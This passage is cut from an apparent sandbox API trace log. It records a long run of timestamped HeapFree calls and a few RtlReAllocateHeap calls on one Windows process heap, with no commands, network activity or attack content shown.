dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.772] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.773] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0272.774] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.775] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0272.776] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.776] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.777] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.777] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.780] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.783] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.783] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.784] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.785] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.785] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.786] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.786] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0273.273] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0273.273] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0273.278] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0273.278] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0273.279] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4556fa8 | out: hHeap=0x6e0000) returned 1 [0273.318] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0273.322] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.322] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.323] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.323] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.327] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.327] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.327] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.331] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.332] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.332] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.332] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.334] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.337] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.340] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.341] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.341] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.344] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.344] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.346] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.346] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.346] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.346] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.348] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45aaff0 | out: hHeap=0x6e0000) returned 1 [0273.350] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.350] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.350] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.350] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.350] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.350] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x737f08, Size=0x4000) returned 0x7d57c8 [0273.353] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.353] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.354] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.355] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.355] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.355] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.355] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.357] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.357] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.357] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.357] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.359] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.359] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.359] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.359] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.360] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.360] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.361] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.361] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.362] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.363] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.363] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.363] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0273.364] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0273.364] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.051] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0274.051] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.481] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.482] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.484] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.484] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0274.484] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.485] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0274.485] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.486] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0274.486] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0275.459] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.459] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0275.459] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb8 | out: hHeap=0x6e0000) returned 1 [0275.460] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4556fa8 | out: hHeap=0x6e0000) returned 1 [0275.461] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0275.706] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0275.706] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.707] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.788] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0275.789] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.793] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4556fa8 | out: hHeap=0x6e0000) returned 1 [0275.793] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.794] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0275.795] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4545f98 | out: hHeap=0x6e0000) returned 1 [0275.801] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.801] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.801] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.802] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0276.089] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.092] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.167] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.167] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0276.170] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.171] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.172] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.175] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.248] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.455] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.474] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4564fa0 | out: hHeap=0x6e0000) returned 1 [0276.474] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.476] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0276.521] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0276.617] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0276.617] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0276.619] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0276.619] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0276.627] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0276.633] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0276.815] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0276.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7d57c8, Size=0x4000) returned 0x7d57c8 [0277.018] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7d57c8, Size=0x8000) returned 0x7cc7b8 [0277.028] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7cc7b8, Size=0x10000) returned 0x4554f98 [0277.049] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x4554f98, Size=0x20000) returned 0x4554f98 [0277.193] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x4554f98, Size=0x40000) returned 0x45dee78 [0277.279] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0277.406] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4564fa0 | out: hHeap=0x6e0000) returned 1 [0277.406] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0277.406] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0278.055] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0278.553] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0278.729] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0278.729] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0279.089] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0279.133] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0279.657] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0280.252] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0280.254] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0280.588] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0280.758] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0280.833] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0281.101] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0281.101] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0282.031] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0282.405] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0285.198] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0287.115] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x45dee78, Size=0x80000) returned 0x521c020 [0287.121] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0287.248] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0287.519] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0287.526] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0287.526] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0287.528] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0287.595] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0288.212] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0288.415] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0290.243] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0290.515] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.028] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.180] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.217] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.455] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.666] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.784] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.938] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0291.990] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0292.287] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0292.345] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0292.665] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0292.667] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0292.863] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0292.998] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0293.129] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0293.212] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0293.399] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0293.569] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0294.199] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0294.619] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0295.484] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0295.592] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0295.682] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0296.262] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0296.389] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0296.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0297.177] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0297.322] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0297.449] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0297.628] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0298.230] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0298.569] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0298.617] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0298.803] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0299.107] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0299.413] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0299.454] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0299.792] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0299.957] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0300.051] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0300.051] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0300.051] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0300.171] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0300.341] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0300.849] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0301.328] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0301.595] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0301.748] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0301.963] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0302.233] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0302.389] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0302.389] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0302.686] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0302.952] HeapFree (in: 